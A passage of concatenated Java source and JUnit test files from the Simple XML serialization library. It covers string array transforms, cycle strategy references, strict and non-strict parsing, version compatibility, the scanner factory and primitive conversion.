assertEquals(interfaceList.get(0).getName(), "a");
assertEquals(interfaceList.get(0).getValue(), "a");
assertEquals(interfaceList.get(1).getName(), "b");
assertEquals(interfaceList.get(1).getValue(), "b");
assertEquals(((Entry)objectList.get(0)).getName(), "a");
assertEquals(((Entry)objectList.get(0)).getName(), "a");
assertEquals(((Entry)objectList.get(1)).getName(), "b");
assertEquals(((Entry)objectList.get(1)).getName(), "b");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/StringArrayTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.io.StringWriter;
import java.util.ArrayList;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class StringArrayTransformTest extends ValidationTestCase {
@Root
public static class StringArrayExample {
@Attribute
private String[] attribute;
@Element
private String[] element;
@ElementList
private List<String[]> list;
@ElementArray
private String[][] array;
public StringArrayExample() {
super();
}
public StringArrayExample(String[] list) {
this.attribute = list;
this.element = list;
this.list = new ArrayList<String[]>();
this.list.add(list);
this.list.add(list);
this.array = new String[1][];
this.array[0] = list;
}
}
public void testRead() throws Exception {
StringArrayTransform transform = new StringArrayTransform();
String[] list = transform.read("one,two,three,four");
assertEquals("one", list[0]);
assertEquals("two", list[1]);
assertEquals("three", list[2]);
assertEquals("four", list[3]);
list = transform.read(" this is some string ,\t\n "+
"that has each\n\r," +
"string split,\t over\n,\n"+
"several lines\n\t");
assertEquals("this is some string", list[0]);
assertEquals("that has each", list[1]);
assertEquals("string split", list[2]);
assertEquals("over", list[3]);
assertEquals("several lines", list[4]);
}
public void testWrite() throws Exception {
StringArrayTransform transform = new StringArrayTransform();
String value = transform.write(new String[] { "one", "two", "three", "four"});
assertEquals(value, "one, two, three, four");
value = transform.write(new String[] {"one", null, "three", "four"});
assertEquals(value, "one, three, four");
}
public void testPersistence() throws Exception {
String[] list = new String[] { "one", "two", "three", "four"};
Persister persister = new Persister();
StringArrayExample example = new StringArrayExample(list);
StringWriter out = new StringWriter();
assertEquals(example.attribute[0], "one");
assertEquals(example.attribute[1], "two");
assertEquals(example.attribute[2], "three");
assertEquals(example.attribute[3], "four");
assertEquals(example.element[0], "one");
assertEquals(example.element[1], "two");
assertEquals(example.element[2], "three");
assertEquals(example.element[3], "four");
assertEquals(example.list.get(0)[0], "one");
assertEquals(example.list.get(0)[1], "two");
assertEquals(example.list.get(0)[2], "three");
assertEquals(example.list.get(0)[3], "four");
assertEquals(example.array[0][0], "one");
assertEquals(example.array[0][1], "two");
assertEquals(example.array[0][2], "three");
assertEquals(example.array[0][3], "four");
persister.write(example, out);
String text = out.toString();
System.err.println(text);
example = persister.read(StringArrayExample.class, text);
assertEquals(example.attribute[0], "one");
assertEquals(example.attribute[1], "two");
assertEquals(example.attribute[2], "three");
assertEquals(example.attribute[3], "four");
assertEquals(example.element[0], "one");
assertEquals(example.element[1], "two");
assertEquals(example.element[2], "three");
assertEquals(example.element[3], "four");
assertEquals(example.list.get(0)[0], "one");
assertEquals(example.list.get(0)[1], "two");
assertEquals(example.list.get(0)[2], "three");
assertEquals(example.list.get(0)[3], "four");
assertEquals(example.array[0][0], "one");
assertEquals(example.array[0][1], "two");
assertEquals(example.array[0][2], "three");
assertEquals(example.array[0][3], "four");
validate(example, persister);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/CycleStrategyTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.io.StringReader;
import java.lang.annotation.Annotation;
import java.util.HashMap;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeBuilder;
import org.simpleframework.xml.stream.NodeMap;
public class CycleStrategyTest extends TestCase {
private static final String ARRAY =
"<array id='1' length='12' class='java.lang.String'/>";
private static final String OBJECT =
"<array id='1' class='java.lang.String'/>";
private static final String REFERENCE =
"<array reference='1' class='java.lang.String'/>";
private static class Entry implements Type {
private final Class type;
public Entry(Class type) {
this.type = type;
}
public <T extends Annotation> T getAnnotation(Class<T> type) {
return null;
}
public Class getType() {
return type;
}
}
public void testArray() throws Exception {
Map map = new HashMap();
StringReader reader = new StringReader(ARRAY);
CycleStrategy strategy = new CycleStrategy();
InputNode event = NodeBuilder.read(reader);
NodeMap attributes = event.getAttributes();
Value value = strategy.read(new Entry(String[].class), attributes, map);
assertEquals(12, value.getLength());
assertEquals(null, value.getValue());
assertEquals(String.class, value.getType());
assertEquals(false, value.isReference());
}
public void testObject() throws Exception {
Map map = new HashMap();
StringReader reader = new StringReader(OBJECT);
CycleStrategy strategy = new CycleStrategy();
InputNode event = NodeBuilder.read(reader);
NodeMap attributes = event.getAttributes();
Value value = strategy.read(new Entry(String.class), attributes, map);
assertEquals(0, value.getLength());
assertEquals(null, value.getValue());
assertEquals(String.class, value.getType());
assertEquals(false, value.isReference());
}
public void testReference() throws Exception {
StringReader reader = new StringReader(REFERENCE);
Contract contract = new Contract("id", "reference", "class", "length");
ReadGraph graph = new ReadGraph(contract, new Loader());
InputNode event = NodeBuilder.read(reader);
NodeMap attributes = event.getAttributes();
graph.put("1", "first text");
graph.put("2", "second text");
graph.put("3", "third text");
Value value = graph.read(new Entry(String.class), attributes);
assertEquals(0, value.getLength());
assertEquals("first text", value.getValue());
assertEquals(String.class, value.getType());
assertEquals(true, value.isReference());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/StrictModeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class StrictModeTest extends ValidationTestCase {
private static final String SOURCE =
"<object name='name' version='1.0'>\n" +
" <integer>123</integer>\n" +
" <object name='key'>\n" +
" <integer>12345</integer>\n" +
" </object>\n" +
" <address type='full'>\n"+
" <name>example name</name>\n"+
" <address>example address</address>\n"+
" <city>example city</city>\n"+
" </address>\n"+
" <name>test</name>\n"+
"</object>\n";
private static final String SOURCE_MISSING_NAME =
"<object name='name' version='1.0'>\n" +
" <integer>123</integer>\n" +
" <object name='key'>\n" +
" <integer>12345</integer>\n" +
" </object>\n" +
" <address type='full'>\n"+
" <name>example name</name>\n"+
" <address>example address</address>\n"+
" <city>example city</city>\n"+
" </address>\n"+
"</object>\n";
@Root
private static class ExampleObject {
@Element int integer;
@Attribute double version;
}
@Root
private static class Address {
@Element String name;
@Element String address;
}
@Root
private static class ExampleObjectWithAddress extends ExampleObject {
@Element Address address;
@Element String name;
}
public void testStrictMode() throws Exception {
boolean failure = false;
try {
Persister persister = new Persister();
ExampleObjectWithAddress object = persister.read(ExampleObjectWithAddress.class, SOURCE);
assertNull(object);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Serialzed correctly", failure);
}
public void testNonStrictMode() throws Exception {
Persister persister = new Persister();
ExampleObjectWithAddress object = persister.read(ExampleObjectWithAddress.class, SOURCE, false);
assertEquals(object.version, 1.0);
assertEquals(object.integer, 123);
assertEquals(object.address.name, "example name");
assertEquals(object.address.address, "example address");
assertEquals(object.name, "test");
validate(object, persister);
}
public void testNonStrictModeMissingName() throws Exception {
boolean failure = false;
try {
Persister persister = new Persister();
ExampleObjectWithAddress object = persister.read(ExampleObjectWithAddress.class, SOURCE_MISSING_NAME, false);
assertNull(object);
}catch(Exception e) {
e.printStackTrace();
failure = true;
}
assertTrue("Serialzed correctly", failure);
}
public void testValidation() throws Exception {
Persister persister = new Persister();
assertTrue(persister.validate(ExampleObjectWithAddress.class, SOURCE, false));
try {
assertFalse(persister.validate(ExampleObjectWithAddress.class, SOURCE));
assertFalse(true);
}catch(Exception e){
e.printStackTrace();
}
try {
assertFalse(persister.validate(ExampleObjectWithAddress.class, SOURCE_MISSING_NAME));
assertFalse(true);
}catch(Exception e){
e.printStackTrace();
}
try {
assertFalse(persister.validate(ExampleObjectWithAddress.class, SOURCE_MISSING_NAME, false));
assertFalse(true);
}catch(Exception e){
e.printStackTrace();
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CompatibilityTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.List;
import java.util.Map;
import junit.framework.TestCase;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Version;
public class CompatibilityTest extends TestCase {
private static final String IMPLICIT_VERSION_1 =
"<example>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
" <list>\n"+
" <entry>entry 1</entry>\n"+
" <entry>entry 2</entry>\n"+
" </list>\n"+
"</example>";
private static final String EXPLICIT_VERSION_1 =
"<example version='1.0'>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
" <list>\n"+
" <entry>entry 1</entry>\n"+
" <entry>entry 2</entry>\n"+
" </list>\n"+
"</example>";
private static final String INVALID_EXPLICIT_VERSION_1 =
"<example version='1.0'>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
" <list>\n"+
" <entry>entry 1</entry>\n"+
" <entry>entry 2</entry>\n"+
" </list>\n"+
" <address>example address</address>\n"+
"</example>";
private static final String INVALID_IMPLICIT_VERSION_1 =
"<example>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
"</example>";
private static final String VALID_EXPLICIT_VERSION_1_1 =
"<example version='1.1'>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
" <address>example address</address>\n"+
" <list>\n"+
" <entry>entry 1</entry>\n"+
" <entry>entry 2</entry>\n"+
" </list>\n"+
"</example>";
public static interface Example {
public double getVersion();
public String getName();
public String getValue();
}
@Root(name="example")
public static class Example_v1 implements Example {
@Version
private double version;
@Element
private String name;
@Element
private String value;
@ElementList
private List<String> list;
public double getVersion() {
return version;
}
public String getName() {
return name;
}
public String getValue() {
return value;
}
}
private static final String VALID_EXPLICIT_VERSION_2 =
"<example version='2.0' key='value'>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
" <map>\n"+
" <entry>\n"+
" <key>key 1</key>\n"+
" <value>value 1</value>\n"+
" </entry>\n"+
" <entry>\n"+
" <key>key 1</key>\n"+
" <value>value 1</value>\n"+
" </entry>\n"+
" </map>\n"+
"</example>";
private static final String ACCEPTIBLE_INVALID_VERSION_1 =
"<example>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
"</example>";
private static final String INVALID_EXPLICIT_VERSION_2 =
"<example version='2.0'>\n"+
" <name>example name</name>\n"+
" <value>example value</value>\n"+
" <map>\n"+
" <entry>\n"+
" <key>key 1</key>\n"+
" <value>value 1</value>\n"+
" </entry>\n"+
" <entry>\n"+
" <key>key 1</key>\n"+
" <value>value 1</value>\n"+
" </entry>\n"+
" </map>\n"+
"</example>";
@Root(name="example")
public static class Example_v2 implements Example {
@Version(revision=2.0)
@Namespace(prefix="ver", reference="http://www.domain.com/version")
private double version;
@Element
private String name;
@Element
private String value;
@ElementMap
private Map<String, String> map;
@Attribute
private String key;
public double getVersion() {
return version;
}
public String getKey() {
return key;
}
public String getName() {
return name;
}
public String getValue() {
return value;
}
}
@Root(name="example")
public static class Example_v3 implements Example {
@Version(revision=3.0)
@Namespace(prefix="ver", reference="http://www.domain.com/version")
private double version;
@Element
private String name;
@Element
private String value;
@ElementMap
private Map<String, String> map;
@ElementList
private List<String> list;
@Attribute
private String key;
public double getVersion() {
return version;
}
public String getKey() {
return key;
}
public String getName() {
return name;
}
public String getValue() {
return value;
}
}
public void testCompatibility() throws Exception {
Persister persister = new Persister();
Example example = persister.read(Example_v1.class, IMPLICIT_VERSION_1);
boolean invalid = false;
assertEquals(example.getVersion(), 1.0);
assertEquals(example.getName(), "example name");
assertEquals(example.getValue(), "example value");
example = persister.read(Example_v1.class, EXPLICIT_VERSION_1);
assertEquals(example.getVersion(), 1.0);
assertEquals(example.getName(), "example name");
assertEquals(example.getValue(), "example value");
try {
invalid = false;
example = persister.read(Example_v1.class, INVALID_EXPLICIT_VERSION_1);
}catch(Exception e) {
e.printStackTrace();
invalid = true;
}
assertTrue(invalid);
try {
invalid = false;
example = persister.read(Example_v1.class, INVALID_IMPLICIT_VERSION_1);
}catch(Exception e) {
e.printStackTrace();
invalid = true;
}
assertTrue(invalid);
example = persister.read(Example_v1.class, VALID_EXPLICIT_VERSION_1_1);
assertEquals(example.getVersion(), 1.1);
assertEquals(example.getName(), "example name");
assertEquals(example.getValue(), "example value");
Example_v2 example2 = persister.read(Example_v2.class, VALID_EXPLICIT_VERSION_2);
assertEquals(example2.getVersion(), 2.0);
assertEquals(example2.getName(), "example name");
assertEquals(example2.getValue(), "example value");
assertEquals(example2.getKey(), "value");
example2 = persister.read(Example_v2.class, IMPLICIT_VERSION_1);
assertEquals(example2.getVersion(), 1.0);
assertEquals(example2.getName(), "example name");
assertEquals(example2.getValue(), "example value");
assertEquals(example2.getKey(), null);
example2 = persister.read(Example_v2.class, ACCEPTIBLE_INVALID_VERSION_1);
assertEquals(example2.getVersion(), 1.0);
assertEquals(example2.getName(), "example name");
assertEquals(example2.getValue(), "example value");
assertEquals(example2.getKey(), null);
try {
invalid = false;
example = persister.read(Example_v2.class, INVALID_EXPLICIT_VERSION_2);
}catch(Exception e) {
e.printStackTrace();
invalid = true;
}
assertTrue(invalid);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/ScannerFactory.java<|end_filename|>
/*
* ScannerFactory.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.util.Cache;
import org.simpleframework.xml.util.ConcurrentCache;
/**
* The <code>ScannerFactory</code> is used to create scanner objects
* that will scan a class for its XML class schema. Caching is done
* by this factory so that repeat retrievals of a <code>Scanner</code>
* will not require repeat scanning of the class for its XML schema.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Context
*/
class ScannerFactory {
/**
* This is used to cache all schemas built to represent a class.
*/
private final Cache<Scanner> cache;
/**
* This is used to determine which objects are primitives.
*/
private final Support support;
/**
* Constructor for the <code>ScannerFactory</code> object. This is
* used to create a factory that will create and cache scanned
* data for a given class. Scanning the class is required to find
* the fields and methods that have been annotated.
*
* @param support this is used to determine if a type is primitive
*/
public ScannerFactory(Support support) {
this.cache = new ConcurrentCache<Scanner>();
this.support = support;
}
/**
* This creates a <code>Scanner</code> object that can be used to
* examine the fields within the XML class schema. The scanner
* maintains information when a field from within the scanner is
* visited, this allows the serialization and deserialization
* process to determine if all required XML annotations are used.
*
* @param type the schema class the scanner is created for
*
* @return a scanner that can maintains information on the type
*
* @throws Exception if the class contains an illegal schema
*/
public Scanner getInstance(Class type) throws Exception {
Scanner schema = cache.fetch(type);
if(schema == null) {
Detail detail = support.getDetail(type);
if(support.isPrimitive(type)) {
schema = new PrimitiveScanner(detail);
} else {
schema = new ObjectScanner(detail, support);
if(schema.isPrimitive() && !support.isContainer(type)) {
schema = new DefaultScanner(detail, support);
}
}
cache.cache(type, schema);
}
return schema;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/util/LineStripper.java<|end_filename|>
package org.simpleframework.xml.util;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.ArrayList;
import java.util.List;
public class LineStripper {
public static List<String> stripLines(InputStream text) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] chunk = new byte[8192];
int count = 0;
while ((count = text.read(chunk)) != -1) {
out.write(chunk, 0, count);
}
text.close();
return stripLines(out.toString("UTF-8"));
}
public static List<String> stripLines(String text) {
List<String> list = new ArrayList<String>();
char[] array = text.toCharArray();
int start = 0;
while(start < array.length) {
String line = nextLine(array, start);
String trimLine = trimLine(line);
list.add(trimLine);
start += line.length();
}
return list;
}
private static String trimLine(String line) {
for(int i = line.length() - 1; i >= 0; i--) {
if(!Character.isWhitespace(line.charAt(i))) {
return line.substring(0, i + 1);
}
}
return line;
}
private static String nextLine(char[] text, int startFrom) {
/* for(int i = startFrom; i < text.length; i++) {
if(text[i] == '\r' || text[i] == '\n') {
while(i < text.length && (text[i] == '\r' || text[i] == '\n')) {
i++;
}
return new String(text, startFrom, i - startFrom);
}
}
*/
for(int i = startFrom; i < text.length; i++) {
if(text[i] == '\r') {
if(i < text.length && text[i] == '\n') {
i++;
}
return new String(text, startFrom, i - startFrom);
}
if(text[i] == '\n') {
return new String(text, startFrom, ++i - startFrom);
}
}
return new String(text, startFrom, text.length - startFrom);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/UnionMapWithoutKeyTypeTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.util.Map;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.ElementMapUnion;
public class UnionMapWithoutKeyTypeTest extends ValidationTestCase {
private static final String SOURCE =
"<mapExample>" +
" <x-node key='1'><x>A</x></x-node>\n" +
" <y-node key='2'><y>B</y></y-node>\n" +
" <y-node key='3'><y>C</y></y-node>\n" +
" <z-node key='4'><z>D</z></z-node>\n" +
"</mapExample>";
@Root
public static class X implements Node {
@Text
private String x;
public String name() {
return x;
}
}
@Root
public static class Y implements Node {
@Text
private String y;
public String name() {
return y;
}
}
@Root
public static class Z implements Node {
@Text
private String z;
public String name() {
return z;
}
}
public static interface Node {
public String name();
}
@Root
public static class MapExample {
@ElementMapUnion({
@ElementMap(entry="x-node", key="key", inline=true, attribute=true, valueType=X.class),
@ElementMap(entry="y-node", key="key", inline=true, attribute=true, valueType=Y.class),
@ElementMap(entry="z-node", key="key", inline=true, attribute=true, valueType=Z.class)
})
private Map<String, Node> map;
}
public void testInlineList() throws Exception {
Persister persister = new Persister();
MapExample example = persister.read(MapExample.class, SOURCE);
Map<String, Node> map = example.map;
assertEquals(map.size(), 4);
assertEquals(map.get("1").getClass(), X.class);
assertEquals(map.get("1").name(), "A");
assertEquals(map.get("2").getClass(), Y.class);
assertEquals(map.get("2").name(), "B");
assertEquals(map.get("3").getClass(), Y.class);
assertEquals(map.get("3").name(), "C");
assertEquals(map.get("4").getClass(), Z.class);
assertEquals(map.get("4").name(), "D");
validate(persister, example);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/ConstructorParameterMatchTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.ValidationTestCase;
public class ConstructorParameterMatchTest extends ValidationTestCase {
@Root
public static class BoardStateMove {
@Attribute
public final String from;
@Attribute
public final String to;
@Attribute
public final String fromPiece;
@Attribute(required=false)
public final String toPiece;
@Attribute
public final String moveDirection;
public BoardStateMove(
@Attribute(name="from") String from,
@Attribute(name="to") String to,
@Attribute(name="fromPiece") String fromPiece,
@Attribute(name="toPiece") String toPiece,
@Attribute(name="moveDirection") String moveDirection)
{
this.moveDirection = moveDirection;
this.fromPiece = fromPiece;
this.toPiece = toPiece;
this.from = from;
this.to = to;
}
}
public void testParameterMatch() throws Exception {
Persister p = new Persister();
BoardStateMove m = new BoardStateMove("A5", "A6", "KING", null, "NORTH");
StringWriter w = new StringWriter();
p.write(m, w);
String s = w.toString();
BoardStateMove x = p.read(BoardStateMove.class, s);
assertEquals(m.from, x.from);
assertEquals(m.to, x.to);
assertEquals(m.fromPiece, x.fromPiece);
assertEquals(m.toPiece, x.toPiece);
assertEquals(m.moveDirection, x.moveDirection);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/WriteNaturalXmlTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.StringReader;
import java.io.StringWriter;
import junit.framework.TestCase;
public class WriteNaturalXmlTest extends TestCase {
public void testWriteXml() throws Exception {
StringWriter writer = new StringWriter();
OutputNode node = NodeBuilder.write(writer);
OutputNode root = node.getChild("root");
root.setValue("xxx");
OutputNode child = root.getChild("child");
root.setValue("222");
OutputNode child2 = root.getChild("child2");
root.commit();
System.err.println(writer);
StringReader reader = new StringReader(writer.toString());
InputNode input = NodeBuilder.read(reader);
assertEquals(input.getValue().trim(), "xxx");
InputNode next = input.getNext("child");
assertEquals(input.getValue().trim(), "222");
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/InjectionTest.java<|end_filename|>
package org.simpleframework.xml.core;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.core.Commit;
import org.simpleframework.xml.core.Persister;
import junit.framework.TestCase;
public class InjectionTest extends TestCase {
private static final String SOURCE =
"<?xml version=\"1.0\"?>\n"+
"<injectionExample id='12' flag='true'>\n"+
" <text>entry text</text> \n\r"+
" <date>01/10/1916</date> \n"+
" <message trim='true'>\r\n"+
" This is an example message.\r\n"+
" </message>\r\n"+
"</injectionExample>";
@Root
private static class InjectionExample {
@Attribute
private boolean flag;
@Attribute
private int id;
@Element
private String text;
@Element
private String date;
@Element
private ExampleMessage message;
private String name;
public InjectionExample(String name) {
this.name = name;
}
}
private static class ExampleMessage {
@Attribute
private boolean trim;
@Text
private String text;
@Commit
private void prepare() {
if(trim) {
text = text.trim();
}
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testFirst() throws Exception {
InjectionExample example = new InjectionExample("name");
assertEquals(example.flag, false);
assertEquals(example.id, 0);
assertEquals(example.text, null);
assertEquals(example.date, null);
assertEquals(example.name, "name");
assertEquals(example.message, null);
InjectionExample result = serializer.read(example, SOURCE);
assertEquals(example, result);
assertEquals(example.flag, true);
assertEquals(example.id, 12);
assertEquals(example.text, "entry text");
assertEquals(example.date, "01/10/1916");
assertEquals(example.name, "name");
assertEquals(example.message.trim, true);
assertEquals(example.message.text, "This is an example message.");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/Primitive.java<|end_filename|>
/*
* Primitive.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import org.simpleframework.xml.strategy.Type;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.OutputNode;
/**
* The <code>Primitive</code> object is used to provide serialization
* for primitive objects. This can serialize and deserialize any
* primitive object and enumerations. Primitive values are converted
* to text using the <code>String.valueOf</code> method. Enumerated
* types are converted using the <code>Enum.valueOf</code> method.
* <p>
* Text within attributes and elements can contain template variables
* similar to those found in Apache <cite>Ant</cite>. This allows
* values such as system properties, environment variables, and user
* specified mappings to be inserted into the text in place of the
* template reference variables.
* <pre>
*
* <example attribute="${value}>
* <text>Text with a ${variable}</text>
* </example>
*
* </pre>
* In the above XML element the template variable references will be
* checked against the <code>Filter</code> object used by the context
* serialization object. If they corrospond to a filtered value then
* they are replaced, if not the text remains unchanged.
*
* @author <NAME>
*
* @see org.simpleframework.xml.filter.Filter
*/
class Primitive implements Converter {
/**
* This is used to convert the string values to primitives.
*/
private final PrimitiveFactory factory;
/**
* The context object is used to perform text value filtering.
*/
private final Context context;
/**
* This the value used to represent a null primitive value.
*/
private final String empty;
/**
* This is the type that this primitive expects to represent.
*/
private final Class expect;
/**
* This is the actual method or field that has been annotated.
*/
private final Type type;
/**
* Constructor for the <code>Primitive</code> object. This is used
* to convert an XML node to a primitive object and vice versa. To
* perform deserialization the primitive object requires the context
* object used for the instance of serialization to performed.
*
* @param context the context object used for the serialization
* @param type this is the type of primitive this represents
*/
public Primitive(Context context, Type type) {
this(context, type, null);
}
/**
* Constructor for the <code>Primitive</code> object. This is used
* to convert an XML node to a primitive object and vice versa. To
* perform deserialization the primitive object requires the context
* object used for the instance of serialization to performed.
*
* @param context the context object used for the serialization
* @param type this is the type of primitive this represents
* @param empty this is the value used to represent a null value
*/
public Primitive(Context context, Type type, String empty) {
this.factory = new PrimitiveFactory(context, type);
this.expect = type.getType();
this.context = context;
this.empty = empty;
this.type = type;
}
/**
* This <code>read</code> method will extract the text value from
* the node and replace any template variables before converting
* it to a primitive value. This uses the <code>Context</code>
* object used for this instance of serialization to replace all
* template variables with values from the context filter.
*
* @param node this is the node to be converted to a primitive
*
* @return this returns the primitive that has been deserialized
*/
public Object read(InputNode node) throws Exception{
if(node.isElement()) {
return readElement(node);
}
return read(node, expect);
}
/**
* This <code>read</code> method will extract the text value from
* the node and replace any template variables before converting
* it to a primitive value. This uses the <code>Context</code>
* object used for this instance of serialization to replace all
* template variables with values from the context filter.
*
* @param node this is the node to be converted to a primitive
* @param value this is the original primitive value used
*
* @return this returns the primitive that has been deserialized
*
* @throws Exception if value is not null an exception is thrown
*/
public Object read(InputNode node, Object value) throws Exception{
if(value != null) {
throw new PersistenceException("Can not read existing %s for %s", expect, type);
}
return read(node);
}
/**
* This <code>read</code> method will extract the text value from
* the node and replace any template variables before converting
* it to a primitive value. This uses the <code>Context</code>
* object used for this instance of serialization to replace all
* template variables with values from the context filter.
*
* @param node this is the node to be converted to a primitive
* @param type this is the type to read the primitive with
*
* @return this returns the primitive that has been deserialized
*/
public Object read(InputNode node, Class type) throws Exception{
String value = node.getValue();
if(value == null) {
return null;
}
if(empty != null && value.equals(empty)) {
return empty;
}
return readTemplate(value, type);
}
/**
* This <code>read</code> method will extract the text value from
* the node and replace any template variables before converting
* it to a primitive value. This uses the <code>Context</code>
* object used for this instance of serialization to replace all
* template variables with values from the context filter.
*
* @param node this is the node to be converted to a primitive
*
* @return this returns the primitive that has been deserialized
*/
private Object readElement(InputNode node) throws Exception {
Instance value = factory.getInstance(node);
if(!value.isReference()) {
return readElement(node, value);
}
return value.getInstance();
}
/**
* This <code>read</code> method will extract the text value from
* the node and replace any template variables before converting
* it to a primitive value. This uses the <code>Context</code>
* object used for this instance of serialization to replace all
* template variables with values from the context filter.
*
* @param node this is the node to be converted to a primitive
* @param value this is the instance to set the result to
*
* @return this returns the primitive that has been deserialized
*/
private Object readElement(InputNode node, Instance value) throws Exception {
Object result = read(node, expect);
if(value != null) {
value.setInstance(result);
}
return result;
}
/**
* This <code>read</code> method will extract the text value from
* the node and replace any template variables before converting
* it to a primitive value. This uses the <code>Context</code>
* object used for this instance of serialization to replace all
* template variables with values from the context filter.
*
* @param value this is the value to be processed as a template
* @param type this is the type that that the primitive is
*
* @return this returns the primitive that has been deserialized
*/
private Object readTemplate(String value, Class type) throws Exception {
String text = context.getProperty(value);
if(text != null) {
return factory.getInstance(text, type);
}
return null;
}
/**
* This <code>validate</code> method will validate the primitive
* by checking the node text. If the value is a reference then
* this will not extract any value from the node. Transformation
* of the extracted value is not done as it can not account for
* template variables. Thus any text extracted is valid.
*
* @param node this is the node to be validated as a primitive
*
* @return this returns the primitive that has been validated
*/
public boolean validate(InputNode node) throws Exception {
if(node.isElement()) {
validateElement(node);
} else {
node.getValue();
}
return true;
}
/**
* This <code>validateElement</code> method validates a primitive
* by checking the node text. If the value is a reference then
* this will not extract any value from the node. Transformation
* of the extracted value is not done as it can not account for
* template variables. Thus any text extracted is valid.
*
* @param node this is the node to be validated as a primitive
*
* @return this returns the primitive that has been validated
*/
private boolean validateElement(InputNode node) throws Exception {
Instance type = factory.getInstance(node);
if(!type.isReference()) {
type.setInstance(null);
}
return true;
}
/**
* This <code>write</code> method will serialize the contents of
* the provided object to the given XML element. This will use
* the <code>String.valueOf</code> method to convert the object to
* a string if the object represents a primitive, if however the
* object represents an enumerated type then the text value is
* created using <code>Enum.name</code>.
*
* @param source this is the object to be serialized
* @param node this is the XML element to have its text set
*/
public void write(OutputNode node, Object source) throws Exception {
String text = factory.getText(source);
if(text != null) {
node.setValue(text);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/TextTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.util.List;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
public class TextTest extends ValidationTestCase {
private static final String TEXT_LIST =
"<test>\n"+
" <array length='3'>\n"+
" <entry name='a' version='ONE'>Example 1</entry>\r\n"+
" <entry name='b' version='TWO'>Example 2</entry>\r\n"+
" <entry name='c' version='THREE'>Example 3</entry>\r\n"+
" </array>\n\r"+
"</test>";
private static final String DATA_TEXT =
"<text name='a' version='ONE'>\r\n"+
" <![CDATA[ \n"+
" <element> \n"+
" <data>This is hidden</data>\n"+
" </element> \n"+
" ]]>\n"+
"</text>\r\n";
private static final String DUPLICATE_TEXT =
"<text name='a' version='ONE'>Example 1</text>\r\n";
private static final String ILLEGAL_ELEMENT =
"<text name='a' version='ONE'>\r\n"+
" Example 1\n\r"+
" <illegal>Not allowed</illegal>\r\n"+
"</text>\r\n";
private static final String EMPTY_TEXT =
